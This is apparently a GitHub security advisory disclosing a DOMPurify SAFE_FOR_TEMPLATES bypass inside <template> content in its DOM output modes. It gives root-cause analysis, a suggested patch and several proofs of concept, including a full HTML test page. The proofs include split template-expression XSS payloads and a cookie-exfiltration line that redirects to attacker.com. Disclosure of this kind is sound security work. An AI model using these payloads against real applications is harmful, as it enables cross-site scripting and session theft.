GHSA-GVMJ-G25R-R7WR

Vulnerability from github – Published: 2026-06-15 20:02 – Updated: 2026-06-15 20:02
VLAI
Summary
DOMPurify: SAFE_FOR_TEMPLATES bypass - template expressions survive sanitization inside <template> content when using DOM output modes
Details

Summary

When DOMPurify is configured with both SAFE_FOR_TEMPLATES: true and RETURN_DOM: true (or IN_PLACE: true), an attacker can inject template expressions, such as ${evil}, {{evil}}, or <%evil%>, that survive the sanitization pass inside <template> element content. This bypasses the explicit purpose of SAFE_FOR_TEMPLATES, which is to prevent template engine evaluation of user-supplied content.

Note: The string output path is not affected. Only the DOM return paths (RETURN_DOM: true, RETURN_DOM_FRAGMENT: true, IN_PLACE: true) are vulnerable.


Description

Background

SAFE_FOR_TEMPLATES is designed to strip {{ }}, ${ }, and <% %> expressions from sanitized output so that downstream template engines do not evaluate user-controlled content. The feature operates through two mechanisms:

  1. Per-node scrubbing (_sanitizeElements, src/purify.ts:1403), scrubs individual text nodes during the main sanitization walk.
  2. Final normalization pass (_scrubTemplateExpressions, src/purify.ts:1115), calls node.normalize() to merge adjacent text nodes, then walks the merged nodes and strips any expressions that only appeared after merging.

The Gap

_scrubTemplateExpressions uses a standard NodeIterator rooted at the output body:

// src/purify.ts:1117
const walker = createNodeIterator.call(
  node.ownerDocument || node,
  node,
  NodeFilter.SHOW_TEXT | NodeFilter.SHOW_COMMENT | ...,
  null
);

Per the DOM specification, a NodeIterator does not descend into <template>.content. The template element's content is a separate DocumentFragment that lives outside the normal child-node tree. For the same reason, node.normalize() (called on line 1116) also does not normalize text nodes inside <template>.content.

This means the final normalization and scrub pass, the only pass that catches expressions formed by merging split text nodes, never runs on <template> content.

How Split Text Nodes Are Created

When DOMPurify removes a disallowed element with KEEP_CONTENT: true (the default), it moves the element's text children into the parent node. This is the standard code path at src/purify.ts:1361–1373:

if (KEEP_CONTENT && !FORBID_CONTENTS[tagName]) {
  const parentNode = getParentNode(currentNode);
  const childNodes = getChildNodes(currentNode);
  if (childNodes && parentNode) {
    for (let i = childCount - 1; i >= 0; --i) {
      const childClone = cloneNode(childNodes[i], true);
      parentNode.insertBefore(childClone, getNextSibling(currentNode));
    }
  }
}

If the removed elements were adjacent siblings inside <template> content, their extracted text nodes end up as adjacent text nodes in the template content fragment. Each individual text node is scrubbed by _sanitizeElements, but since $ and {evil} do not match any expression regex on their own, neither is modified.

The code comment at src/purify.ts:1100 explicitly acknowledges the threat class:

"which only form after text-node normalization (e.g. fragments split across stripped elements) cannot survive into a template-evaluating framework."

The implementation guards against this on the main body, but the guard is not applied to <template> content.


Proof of Concept

Why the Split Works

The bypass relies on splitting ${...} across two adjacent custom elements so that neither fragment matches any DOMPurify regex on its own:

Fragment Against TMPLIT_EXPR /\${[\w\W]*/g Against MUSTACHE_EXPR /{{[\w\W]*\|^[\w\W]*}}/g Result
$ Requires ${ - no { follows No {{ or }} Survives
{alert(document.domain)} Requires leading $ - absent No {{, ends with single } not }} Survives
${alert(document.domain)} Full match - would be stripped - Stripped if seen whole

DOMPurify only sees each fragment in isolation. It never merges them before checking, so the expression is never detected.


PoC 1 - XSS via alert() (baseline confirmation)

// Attacker input - splits "${alert(document.domain)}" across two custom elements.
// Custom elements are not in DOMPurify's default ALLOWED_TAGS and are removed,
// but their text content is kept (KEEP_CONTENT: true is the default).
const dirty =
  '<template>' +
    '<x-split-1>$</x-split-1>' +
    '<x-split-2>{alert(document.domain)}</x-split-2>' +
  '</template>';

// Developer sanitizes with SAFE_FOR_TEMPLATES, trusting it strips ${...}
const sanitized = DOMPurify.sanitize(dirty, {
  RETURN_DOM: true,
  SAFE_FOR_TEMPLATES: true,
});

// Inspect what survived inside the <template>
const tmpl = sanitized.querySelector('template');
console.log([...tmpl.content.childNodes].map(n => n.nodeValue));
// ["$", "{alert(document.domain)}"]  <-- two separate text nodes, both "clean"

// Frameworks (lit-html, Angular, custom renderers) routinely call normalize()
// before reading template content. This merges the adjacent nodes:
tmpl.content.normalize();
console.log(tmpl.content.textContent);
// "${alert(document.domain)}"  <-- fully formed expression, past the sanitizer

// Any template-literal evaluator now fires XSS:
const expr = tmpl.content.textContent;
new Function(`return \`${expr}\``)();
// !! alert(document.domain) executes !!

PoC 2 - Session Hijacking via cookie exfiltration

// Splits "${document.location='//attacker.com/?c='+document.cookie}"
// "{document.location=...}" ends with a single "}" — does NOT match
// MUSTACHE_EXPR's "^[\w\W]*}}" (requires double "}}"), so it survives.
const dirty =
  '<template>' +
    '<x-a>$</x-a>' +
    '<x-b>{document.location="//attacker.com/?c="+document.cookie}</x-b>' +
  '</template>';

const sanitized = DOMPurify.sanitize(dirty, {
  RETURN_DOM: true,
  SAFE_FOR_TEMPLATES: true,
});

const tmpl = sanitized.querySelector('template');
tmpl.content.normalize();

console.log(tmpl.content.textContent);
// "${document.location="//attacker.com/?c="+document.cookie}"

// Template engine evaluates it - victim's browser makes the request:
new Function(`return \`${tmpl.content.textContent}\``)();
// !! Redirects victim to attacker.com with their full cookie string !!
// e.g. https://attacker.com/?c=session=abc123;auth_token=xyz789

PoC 3 - End-to-end: realistic application context

This shows the full path in an application that uses DOMPurify to sanitize user-submitted rich text before rendering it with a custom template engine:

<!-- index.html - the vulnerable application -->
<div id="output"></div>
<script type="module">
  import DOMPurify from './dist/purify.es.mjs';

  // Simulates fetching and rendering user-submitted comment
  async function renderComment(userHtml) {
    // Developer correctly uses SAFE_FOR_TEMPLATES to protect the template engine
    const dom = DOMPurify.sanitize(userHtml, {
      RETURN_DOM: true,
      SAFE_FOR_TEMPLATES: true,
    });

    // Application iterates <template> elements and evaluates their content
    // (common pattern in component-based frameworks)
    dom.querySelectorAll('template').forEach(tmpl => {
      tmpl.content.normalize(); // standard DOM housekeeping
      const content = tmpl.content.textContent;

      // Application uses template literals to interpolate user content into UI
      const rendered = new Function('user', `return \`${content}\``)({ name: 'World' });
      document.getElementById('output').innerHTML += rendered;
    });
  }

  // Attacker-supplied comment content
  const attackerComment =
    '<template>' +
      '<x-a>$</x-a>' +
      '<x-b>{alert("XSS: " + document.cookie)}</x-b>' +
    '</template>';

  // Developer believes SAFE_FOR_TEMPLATES makes this safe — it does not for RETURN_DOM
  renderComment(attackerComment);
  // !! XSS fires, alert pops with session cookies !!
</script>

Observed output: alert("XSS: " + document.cookie) executes in the victim's browser context, leaking session tokens to the attacker.


PoC 4 - IN_PLACE mode (DOM input path)

// Applicable when the application sanitizes DOM nodes directly
// (e.g., content loaded into an iframe or received from a WebSocket)

const container = document.createElement('div');
const tmpl = document.createElement('template');

// Adjacent text nodes - these would never appear in HTML-parsed content,
// but CAN appear in programmatically constructed DOM or WebSocket messages
// that are deserialised into DOM nodes before sanitisation.
tmpl.content.appendChild(document.createTextNode('$'));
tmpl.content.appendChild(document.createTextNode('{alert(document.domain)}'));
container.appendChild(tmpl);

// Sanitize in-place with SAFE_FOR_TEMPLATES - expected to strip all ${...}
DOMPurify.sanitize(container, { IN_PLACE: true, SAFE_FOR_TEMPLATES: true });

// Neither text node was modified - each passed the regex check individually
container.querySelector('template').content.normalize();
console.log(container.querySelector('template').content.textContent);
// "${alert(document.domain)}"  <-- survived in-place sanitization

new Function(`return \`${container.querySelector('template').content.textContent}\``)();
// !! XSS fires !!

HTML File for testing

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8" />
  <title>DOMPurify SAFE_FOR_TEMPLATES Bypass - PoC</title>
  <script src="dist/purify.js"></script>
  <style>
    * { box-sizing: border-box; margin: 0; padding: 0; }
    body {
      font-family: 'Segoe UI', system-ui, sans-serif;
      background: #0d1117;
      color: #e6edf3;
      padding: 32px;
    }
    h1 { font-size: 1.4rem; color: #f85149; margin-bottom: 6px; }
    .subtitle { color: #8b949e; font-size: 0.9rem; margin-bottom: 32px; }
    .card {
      background: #161b22;
      border: 1px solid #30363d;
      border-radius: 8px;
      margin-bottom: 24px;
      overflow: hidden;
    }
    .card-header {
      display: flex;
      align-items: center;
      gap: 10px;
      padding: 14px 20px;
      border-bottom: 1px solid #30363d;
      background: #1c2128;
    }
    .badge {
      font-size: 0.72rem;
      font-weight: 700;
      padding: 2px 8px;
      border-radius: 4px;
      text-transform: uppercase;
      letter-spacing: 0.05em;
    }
    .badge-run    { background: #1f6feb; color: #fff; }
    .badge-pass   { background: #238636; color: #fff; }
    .badge-fail   { background: #da3633; color: #fff; }
    .badge-warn   { background: #9e6a03; color: #fff; }
    .card-title   { font-size: 0.95rem; font-weight: 600; }
    .card-body    { padding: 20px; }
    label         { font-size: 0.78rem; color: #8b949e; display: block; margin-bottom: 6px; }
    pre {
      background: #0d1117;
      border: 1px solid #30363d;
      border-radius: 6px;
      padding: 14px;
      font-size: 0.82rem;
      line-height: 1.6;
      overflow-x: auto;
      margin-bottom: 14px;
      white-space: pre-wrap;
      word-break: break-all;
    }
    pre.result    { border-color: #238636; background: #0a1a0f; }
    pre.escaped   { border-color: #da3633; background: #1a0a0a; }
    pre.highlight { border-color: #f85149; color: #f85149; font-weight: bold; }
    .grid { display: grid; grid-template-columns: 1fr 1fr; gap: 14px; }
    @media (max-width: 700px) { .grid { grid-template-columns: 1fr; } }
    .arrow {
      text-align: center;
      font-size: 1.4rem;
      color: #8b949e;
      margin: 4px 0;
    }
    .xss-banner {
      display: none;
      background: #da3633;
      color: #fff;
      text-align: center;
      padding: 16px;
      font-size: 1.1rem;
      font-weight: 700;
      border-radius: 6px;
      margin-bottom: 24px;
      letter-spacing: 0.03em;
    }
    button {
      background: #238636;
      color: #fff;
      border: none;
      padding: 10px 22px;
      border-radius: 6px;
      font-size: 0.9rem;
      font-weight: 600;
      cursor: pointer;
      margin-right: 10px;
      margin-bottom: 8px;
    }
    button:hover { background: #2ea043; }
    button.danger { background: #da3633; }
    button.danger:hover { background: #f85149; }
    .note {
      background: #161b22;
      border-left: 3px solid #9e6a03;
      padding: 12px 16px;
      font-size: 0.82rem;
      color: #e3b341;
      border-radius: 0 6px 6px 0;
      margin-top: 14px;
    }
    #log {
      background: #0d1117;
      border: 1px solid #30363d;
      border-radius: 6px;
      padding: 14px;
      font-size: 0.8rem;
      font-family: monospace;
      min-height: 60px;
      max-height: 300px;
      overflow-y: auto;
      line-height: 1.8;
    }
    .log-ok   { color: #3fb950; }
    .log-fail { color: #f85149; }
    .log-info { color: #8b949e; }
    .log-warn { color: #e3b341; }
  </style>
</head>
<body>

  <h1>🔴 DOMPurify 3.4.7 - SAFE_FOR_TEMPLATES Bypass</h1>
  <p class="subtitle">
    CVE candidate · Template expression injection via &lt;template&gt; content ·
    Affects: <code>RETURN_DOM + SAFE_FOR_TEMPLATES</code> and <code>IN_PLACE + SAFE_FOR_TEMPLATES</code>
  </p>

  <div id="xss-banner" class="xss-banner">
    ⚠️ XSS CONFIRMED - Expression executed in this page's context
  </div>

  <!-- ── Controls ─────────────────────────────────────────── -->
  <div class="card">
    <div class="card-header">
      <span class="badge badge-run">Controls</span>
      <span class="card-title">Run individual test cases</span>
    </div>
    <div class="card-body">
      <button onclick="runAll()">▶ Run all tests</button>
      <button onclick="runPoC1()">PoC 1 - alert()</button>
      <button onclick="runPoC2()">PoC 2 - cookie exfil</button>
      <button onclick="runPoC3()">PoC 3 - IN_PLACE</button>
      <button onclick="runControl()">Control - string output (should block)</button>
      <div class="note">
        PoC 1 uses <code>confirm()</code> instead of <code>alert()</code> so the page
        doesn't need a dismiss click to continue. Watch the red banner at the top.
      </div>
    </div>
  </div>

  <!-- ── PoC 1 ─────────────────────────────────────────────── -->
  <div class="card" id="card-poc1">
    <div class="card-header">
      <span class="badge badge-run" id="badge-poc1">PENDING</span>
      <span class="card-title">PoC 1 - XSS via confirm() · RETURN_DOM mode</span>
    </div>
    <div class="card-body">
      <div class="grid">
        <div>
          <label>ATTACKER INPUT - splits <code>${"{confirm(...)}"}</code> across two custom elements</label>
          <pre id="input-poc1"></pre>
        </div>
        <div>
          <label>AFTER DOMPurify.sanitize() - what survived in template.content</label>
          <pre class="result" id="nodes-poc1"></pre>
        </div>
      </div>
      <div class="arrow">↓ template.content.normalize() ↓</div>
      <label>MERGED TEXT NODE - fully formed expression after normalization</label>
      <pre class="highlight" id="merged-poc1"></pre>
      <label>EXECUTION RESULT</label>
      <pre id="exec-poc1">Not run yet</pre>
    </div>
  </div>

  <!-- ── PoC 2 ─────────────────────────────────────────────── -->
  <div class="card" id="card-poc2">
    <div class="card-header">
      <span class="badge badge-run" id="badge-poc2">PENDING</span>
      <span class="card-title">PoC 2 - Cookie exfiltration · RETURN_DOM mode</span>
    </div>
    <div class="card-body">
      <div class="grid">
        <div>
          <label>ATTACKER INPUT - exfil payload split across custom elements</label>
          <pre id="input-poc2"></pre>
        </div>
        <div>
          <label>INDIVIDUAL TEXT NODES after sanitization (each "clean")</label>
          <pre class="result" id="nodes-poc2"></pre>
        </div>
      </div>
      <div class="arrow">↓ template.content.normalize() ↓</div>
      <label>MERGED EXPRESSION - what a template engine would evaluate</label>
      <pre class="highlight" id="merged-poc2"></pre>
      <label>SIMULATED EXECUTION (fetch URL that would be called)</label>
      <pre id="exec-poc2">Not run yet</pre>
      <div class="note">
        Real execution would redirect the victim to
        <code>attacker.com</code> carrying the session cookie.
        This PoC constructs the URL without actually sending it.
      </div>
    </div>
  </div>

  <!-- ── PoC 3 ─────────────────────────────────────────────── -->
  <div class="card" id="card-poc3">
    <div class="card-header">
      <span class="badge badge-run" id="badge-poc3">PENDING</span>
      <span class="card-title">PoC 3 - XSS · IN_PLACE mode (DOM node input)</span>
    </div>
    <div class="card-body">
      <div class="grid">
        <div>
          <label>ATTACKER PROVIDES - a DOM node with programmatically split text nodes</label>
          <pre id="input-poc3"></pre>
        </div>
        <div>
          <label>AFTER IN_PLACE sanitization - text nodes unchanged</label>
          <pre class="result" id="nodes-poc3"></pre>
        </div>
      </div>
      <div class="arrow">↓ template.content.normalize() ↓</div>
      <label>MERGED EXPRESSION</label>
      <pre class="highlight" id="merged-poc3"></pre>
      <label>EXECUTION RESULT</label>
      <pre id="exec-poc3">Not run yet</pre>
    </div>
  </div>

  <!-- ── Control ───────────────────────────────────────────── -->
  <div class="card" id="card-ctrl">
    <div class="card-header">
      <span class="badge badge-run" id="badge-ctrl">PENDING</span>
      <span class="card-title">Control - string output (default) MUST block the payload</span>
    </div>
    <div class="card-body">
      <label>Same attacker input, but sanitized WITHOUT RETURN_DOM (string output path)</label>
      <pre id="input-ctrl"></pre>
      <div class="arrow">↓ DOMPurify.sanitize() - string path hits the regex scrub at line 2067 ↓</div>
      <label>OUTPUT STRING - expression should be stripped</label>
      <pre id="output-ctrl">Not run yet</pre>
      <div class="note">
        The string output path is NOT vulnerable because
        <code>body.innerHTML</code> serialises the template content into a
        flat string where the full <code>${"{...}"}</code> expression is visible
        and the final regex scrub catches it.
      </div>
    </div>
  </div>

  <!-- ── Log ───────────────────────────────────────────────── -->
  <div class="card">
    <div class="card-header">
      <span class="badge badge-run">Log</span>
      <span class="card-title">Test output</span>
    </div>
    <div class="card-body">
      <div id="log"></div>
    </div>
  </div>

<script>
// ── Helpers ────────────────────────────────────────────────────────────────

let xssConfirmed = false;

function log(msg, type = 'info') {
  const el = document.getElementById('log');
  const line = document.createElement('div');
  line.className = 'log-' + type;
  line.textContent = '[' + new Date().toLocaleTimeString() + '] ' + msg;
  el.appendChild(line);
  el.scrollTop = el.scrollHeight;
}

function setBadge(id, status) {
  const el = document.getElementById('badge-' + id);
  el.textContent = status;
  el.className = 'badge ' + {
    PASS: 'badge-fail',   // "PASS" here means the attack succeeded (bad for security)
    BLOCK: 'badge-pass',  // "BLOCK" means DOMPurify correctly blocked it
    PENDING: 'badge-run',
    ERROR: 'badge-warn',
  }[status];
}

function markXSS(poc) {
  if (!xssConfirmed) {
    xssConfirmed = true;
    document.getElementById('xss-banner').style.display = 'block';
  }
  log('🔴 XSS CONFIRMED in ' + poc + ' - expression executed in page context', 'fail');
}

// ── PoC 1: RETURN_DOM + alert ──────────────────────────────────────────────

function runPoC1() {
  log('Running PoC 1 - RETURN_DOM + confirm()...', 'info');

  // IMPORTANT:
  // Build a REAL template DOM node with split TEXT nodes.
  // HTML parsing would merge adjacent text automatically,
  // so we construct the DOM programmatically.

  const container = document.createElement('div');
  const tmpl = document.createElement('template');

  tmpl.content.appendChild(document.createTextNode('$'));
  tmpl.content.appendChild(
    document.createTextNode(
      '{confirm("XSS - DOMPurify SAFE_FOR_TEMPLATES bypass\\nExpression executed in: " + document.domain)}'
    )
  );

  container.appendChild(tmpl);

  document.getElementById('input-poc1').textContent =
    'template.content.childNodes[0].data = "$"\\n' +
    'template.content.childNodes[1].data = "{confirm(...)}"';

  // Sanitize the DOM node itself
  const sanitized = DOMPurify.sanitize(container, {
    RETURN_DOM: true,
    SAFE_FOR_TEMPLATES: true,
  });

  const tmplAfter = sanitized.querySelector('template');

  if (!tmplAfter) {
    document.getElementById('exec-poc1').textContent =
      'Template element removed during sanitization';
    setBadge('poc1', 'ERROR');
    return;
  }

  const nodesBefore = [...tmplAfter.content.childNodes].map(
    n => JSON.stringify(n.nodeValue)
  );

  document.getElementById('nodes-poc1').textContent =
    'childNodes[0].data = ' + nodesBefore[0] + '\\n' +
    'childNodes[1].data = ' + nodesBefore[1] + '\\n\\n' +
    '→ Neither fragment matched individually.';

  log(
    'PoC 1: Text nodes after sanitization: ' +
    nodesBefore.join(', '),
    'warn'
  );

  // Merge text nodes
  tmplAfter.content.normalize();

  const merged = tmplAfter.content.textContent;

  document.getElementById('merged-poc1').textContent = merged;

  log('PoC 1: After normalize() - merged text: ' + merged, 'warn');

  try {
    const result = new Function('return `' + merged + '`')();

    document.getElementById('exec-poc1').textContent =
      '✔ Expression executed successfully\\n' +
      'Returned: ' + result;

    setBadge('poc1', 'PASS');
    markXSS('PoC 1');

  } catch (e) {
    document.getElementById('exec-poc1').textContent =
      'Error: ' + e.message;

    setBadge('poc1', 'ERROR');

    log('PoC 1 error: ' + e.message, 'warn');
  }
}

// ── PoC 2: cookie exfiltration ─────────────────────────────────────────────

function runPoC2() {
  log('Running PoC 2 - cookie exfiltration...', 'info');

  // Fake cookie for demonstration
  document.cookie = 'session=DEADBEEF_SECRET_TOKEN; path=/';

  // IMPORTANT:
  // Build REAL split text nodes programmatically.
  // Do NOT rely on HTML parsing.

  const container = document.createElement('div');
  const tmpl = document.createElement('template');

  tmpl.content.appendChild(document.createTextNode('$'));

  tmpl.content.appendChild(
    document.createTextNode(
      '{document.location="//attacker.com/steal?c="+document.cookie}'
    )
  );

  container.appendChild(tmpl);

  document.getElementById('input-poc2').textContent =
    'template.content.childNodes[0].data = "$"\\n' +
    'template.content.childNodes[1].data = "{document.location=...}"';

  // Sanitize DOM node
  const sanitized = DOMPurify.sanitize(container, {
    RETURN_DOM: true,
    SAFE_FOR_TEMPLATES: true,
  });

  const tmplAfter = sanitized.querySelector('template');

  if (!tmplAfter) {
    document.getElementById('exec-poc2').textContent =
      'Template element removed during sanitization';

    setBadge('poc2', 'ERROR');

    log('PoC 2: template element missing after sanitize()', 'warn');

    return;
  }

  const nodes = [...tmplAfter.content.childNodes].map(
    n => JSON.stringify(n.nodeValue)
  );

  document.getElementById('nodes-poc2').textContent =
    'Node 0: ' + nodes[0] + '\\n' +
    'Node 1: ' + nodes[1] + '\\n\\n' +
    '→ Neither fragment individually matches template-expression regexes.';

  log('PoC 2: Nodes after sanitize: ' + nodes.join(', '), 'warn');

  // Merge adjacent text nodes
  tmplAfter.content.normalize();

  const merged = tmplAfter.content.textContent;

  document.getElementById('merged-poc2').textContent = merged;

  log('PoC 2: Merged expression: ' + merged, 'warn');

  // Simulate framework evaluation
  try {
    new Function('return `' + merged + '`')();

    const cookieValue = document.cookie;

    const stealUrl =
      '//attacker.com/steal?c=' +
      encodeURIComponent(cookieValue);

    document.getElementById('exec-poc2').textContent =
      '✔ Expression successfully evaluated\\n\\n' +
      'Would redirect victim to:\\n' +
      stealUrl + '\\n\\n' +
      'Cookie exposed:\\n' +
      cookieValue;

    setBadge('poc2', 'PASS');

    markXSS('PoC 2');

    log('PoC 2: Would exfiltrate cookie → ' + stealUrl, 'fail');

  } catch (e) {
    document.getElementById('exec-poc2').textContent =
      'Error: ' + e.message;

    setBadge('poc2', 'ERROR');

    log('PoC 2 error: ' + e.message, 'warn');
  }
}
// ── PoC 3: IN_PLACE mode ───────────────────────────────────────────────────

function runPoC3() {
  log('Running PoC 3 - IN_PLACE mode...', 'info');

  // Build DOM node manually (simulates attacker-controlled DOM input,
  // e.g. content parsed from a WebSocket message or an iframe)
  const container = document.createElement('div');
  const tmplEl = document.createElement('template');

  // Two separate text nodes - HTML parser merges them, but programmatic
  // DOM construction keeps them split. This is the IN_PLACE attack surface.
  tmplEl.content.appendChild(document.createTextNode('$'));
  tmplEl.content.appendChild(document.createTextNode('{confirm("XSS via IN_PLACE - domain: " + document.domain)}'));
  container.appendChild(tmplEl);

  document.getElementById('input-poc3').textContent =
    '// Programmatically constructed DOM node:\n' +
    'template.content.childNodes[0].data = "$"\n' +
    'template.content.childNodes[1].data = "{confirm(\\"XSS via IN_PLACE...\\")}"\n\n' +
    '// Passed to DOMPurify.sanitize(container, { IN_PLACE: true, SAFE_FOR_TEMPLATES: true })';

  // Sanitize IN_PLACE - SAFE_FOR_TEMPLATES should strip the expression
  DOMPurify.sanitize(container, {
    IN_PLACE: true,
    SAFE_FOR_TEMPLATES: true,
  });

  const tmplAfter = container.querySelector('template');
  const nodesAfter = [...tmplAfter.content.childNodes].map(n => n.nodeValue);
  document.getElementById('nodes-poc3').textContent =
    'childNodes[0].data = ' + JSON.stringify(nodesAfter[0]) + '\n' +
    'childNodes[1].data = ' + JSON.stringify(nodesAfter[1]) + '\n\n' +
    '→ _scrubTemplateExpressions() did not enter template.content\n' +
    '→ Both nodes unchanged after sanitization.';

  log('PoC 3: Nodes after IN_PLACE sanitize: ' + nodesAfter.map(n => JSON.stringify(n)).join(', '), 'warn');

  tmplAfter.content.normalize();
  const merged = tmplAfter.content.textContent;
  document.getElementById('merged-poc3').textContent = merged;

  log('PoC 3: Merged: ' + merged, 'warn');

  try {
    const result = new Function('return `' + merged + '`')();
    document.getElementById('exec-poc3').textContent =
      '✔ new Function() returned: ' + result + '\n' +
      'confirm() dialog shown. XSS confirmed via IN_PLACE mode.';
    setBadge('poc3', 'PASS');
    markXSS('PoC 3');
  } catch (e) {
    document.getElementById('exec-poc3').textContent = 'Error: ' + e.message;
    setBadge('poc3', 'ERROR');
    log('PoC 3 error: ' + e.message, 'warn');
  }
}

// ── Control: string output must block ─────────────────────────────────────

function runControl() {
  log('Running control - string output path (should block)...', 'info');

  const dirty =
    '<template>' +
      '<x-split-1>$</x-split-1>' +
      '<x-split-2>{confirm("this should never fire")}</x-split-2>' +
    '</template>';

  document.getElementById('input-ctrl').textContent = dirty;

  // Default string output - NOT using RETURN_DOM
  const sanitized = DOMPurify.sanitize(dirty, {
    SAFE_FOR_TEMPLATES: true,
    // RETURN_DOM intentionally omitted - string path is safe
  });

  document.getElementById('output-ctrl').textContent = sanitized;

  const blocked = !sanitized.includes('${') && !sanitized.includes('{confirm');
  if (blocked) {
    setBadge('ctrl', 'BLOCK');
    log('Control: String output correctly stripped the expression. Output: ' + sanitized, 'ok');
  } else {
    setBadge('ctrl', 'PASS'); // unexpected
    log('Control: UNEXPECTED - expression survived string output path: ' + sanitized, 'fail');
  }
}

// ── Run all ────────────────────────────────────────────────────────────────

function runAll() {
  document.getElementById('log').innerHTML = '';
  xssConfirmed = false;
  document.getElementById('xss-banner').style.display = 'none';
  log('=== Starting full test run ===', 'info');
  runPoC1();
  runPoC2();
  runPoC3();
  runControl();
  log('=== Test run complete ===', 'info');
}
</script>

</body>
</html>



Root Cause

_scrubTemplateExpressions (src/purify.ts:1115) does not recurse into <template>.content:

const _scrubTemplateExpressions = function (node: Element): void {
  node.normalize(); // Does NOT normalize inside <template>.content (DOM spec)
  const walker = createNodeIterator.call(
    node.ownerDocument || node,
    node,            // NodeIterator does NOT enter <template>.content
    NodeFilter.SHOW_TEXT | NodeFilter.SHOW_COMMENT |
    NodeFilter.SHOW_CDATA_SECTION | NodeFilter.SHOW_PROCESSING_INSTRUCTION,
    null
  );
  // Scrubs nodes it finds, but never sees <template> content
};

The fix is to extend _scrubTemplateExpressions to explicitly recurse into <template>.content, mirroring the approach already used by _sanitizeShadowDOM (src/purify.ts:1753):

if (_isDocumentFragment(shadowNode.content)) {
  _sanitizeShadowDOM(shadowNode.content); // already handles recursion
}

Suggested Patch Direction

const _scrubTemplateExpressions = function (node: Element): void {
  node.normalize();
  const walker = createNodeIterator.call( /* existing args */ );

  // ... existing scrub loop ...

  // NEW: recurse into <template>.content, mirroring _sanitizeShadowDOM
  const templates = (node as Element).querySelectorAll?.('template') ?? [];
  arrayForEach(Array.from(templates), (tmpl: HTMLTemplateElement) => {
    if (_isDocumentFragment(tmpl.content)) {
      _scrubTemplateExpressions(tmpl.content as unknown as Element);
    }
  });
};

Impact

Who is affected: Applications that use DOMPurify with SAFE_FOR_TEMPLATES: true combined with RETURN_DOM: true, RETURN_DOM_FRAGMENT: true, or IN_PLACE: true, whose downstream template engine processes <template> element content.

What an attacker can achieve: Inject arbitrary template expressions (${...}, {{...}}, <%...%>) into the sanitized DOM output inside <template> elements. If the consuming template engine evaluates these expressions, this leads to template injection, which in server-side contexts can escalate to Remote Code Execution and in client-side contexts to Cross-Site Scripting.

Preconditions for Exploitation

Precondition Notes
SAFE_FOR_TEMPLATES: true Non-default - must be explicitly set
RETURN_DOM: true or IN_PLACE: true Non-default - must be explicitly set
Template engine processes <template>.content Application-dependent

What Is NOT Affected

The string output path (default) is not affected. The final regex scrub at src/purify.ts:2067–2071 operates on the serialized HTML string, where the injected expression is visible and stripped:

// src/purify.ts:2067 - only runs on string output, not DOM output
if (SAFE_FOR_TEMPLATES) {
  arrayForEach([MUSTACHE_EXPR, ERB_EXPR, TMPLIT_EXPR], (expr: RegExp) => {
    serializedHTML = stringReplace(serializedHTML, expr, ' ');
  });
}
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.4.7"
      },
      "package": {
        "ecosystem": "npm",
        "name": "dompurify"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.4.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-15T20:02:40Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "## Summary\n\nWhen DOMPurify is configured with both `SAFE_FOR_TEMPLATES: true` and `RETURN_DOM: true` (or `IN_PLACE: true`), an attacker can inject template expressions, such as `${evil}`, `{{evil}}`, or `\u003c%evil%\u003e`, that survive the sanitization pass inside `\u003ctemplate\u003e` element content. This bypasses the explicit purpose of `SAFE_FOR_TEMPLATES`, which is to prevent template engine evaluation of user-supplied content.\n\n\u003e **Note:** The string output path is **not** affected. Only the DOM return paths (`RETURN_DOM: true`, `RETURN_DOM_FRAGMENT: true`, `IN_PLACE: true`) are vulnerable.\n\n---\n\n## Description\n\n### Background\n\n`SAFE_FOR_TEMPLATES` is designed to strip `{{ }}`, `${ }`, and `\u003c% %\u003e` expressions from sanitized output so that downstream template engines do not evaluate user-controlled content. The feature operates through two mechanisms:\n\n1. **Per-node scrubbing** (`_sanitizeElements`, `src/purify.ts:1403`), scrubs individual text nodes during the main sanitization walk.\n2. **Final normalization pass** (`_scrubTemplateExpressions`, `src/purify.ts:1115`), calls `node.normalize()` to merge adjacent text nodes, then walks the merged nodes and strips any expressions that only appeared after merging.\n\n### The Gap\n\n`_scrubTemplateExpressions` uses a standard `NodeIterator` rooted at the output body:\n\n```ts\n// src/purify.ts:1117\nconst walker = createNodeIterator.call(\n  node.ownerDocument || node,\n  node,\n  NodeFilter.SHOW_TEXT | NodeFilter.SHOW_COMMENT | ...,\n  null\n);\n```\n\nPer the DOM specification, a `NodeIterator` does **not** descend into `\u003ctemplate\u003e.content`. The template element\u0027s content is a separate `DocumentFragment` that lives outside the normal child-node tree. For the same reason, `node.normalize()` (called on line 1116) also **does not** normalize text nodes inside `\u003ctemplate\u003e.content`.\n\nThis means the final normalization and scrub pass, the only pass that catches expressions formed *by merging split text nodes*, never runs on `\u003ctemplate\u003e` content.\n\n### How Split Text Nodes Are Created\n\nWhen DOMPurify removes a disallowed element with `KEEP_CONTENT: true` (the default), it moves the element\u0027s text children into the parent node. This is the standard code path at `src/purify.ts:1361\u20131373`:\n\n```ts\nif (KEEP_CONTENT \u0026\u0026 !FORBID_CONTENTS[tagName]) {\n  const parentNode = getParentNode(currentNode);\n  const childNodes = getChildNodes(currentNode);\n  if (childNodes \u0026\u0026 parentNode) {\n    for (let i = childCount - 1; i \u003e= 0; --i) {\n      const childClone = cloneNode(childNodes[i], true);\n      parentNode.insertBefore(childClone, getNextSibling(currentNode));\n    }\n  }\n}\n```\n\nIf the removed elements were adjacent siblings inside `\u003ctemplate\u003e` content, their extracted text nodes end up as **adjacent text nodes** in the template content fragment. Each individual text node is scrubbed by `_sanitizeElements`, but since `$` and `{evil}` do not match any expression regex on their own, neither is modified.\n\nThe code comment at `src/purify.ts:1100` explicitly acknowledges the threat class:\n\n\u003e *\"which only form after text-node normalization (e.g. fragments split across stripped elements) cannot survive into a template-evaluating framework.\"*\n\nThe implementation guards against this on the main body, but the guard is **not** applied to `\u003ctemplate\u003e` content.\n\n---\n\n## Proof of Concept\n\n### Why the Split Works\n\nThe bypass relies on splitting `${...}` across two adjacent custom elements so that neither fragment matches any DOMPurify regex on its own:\n\n| Fragment | Against `TMPLIT_EXPR` 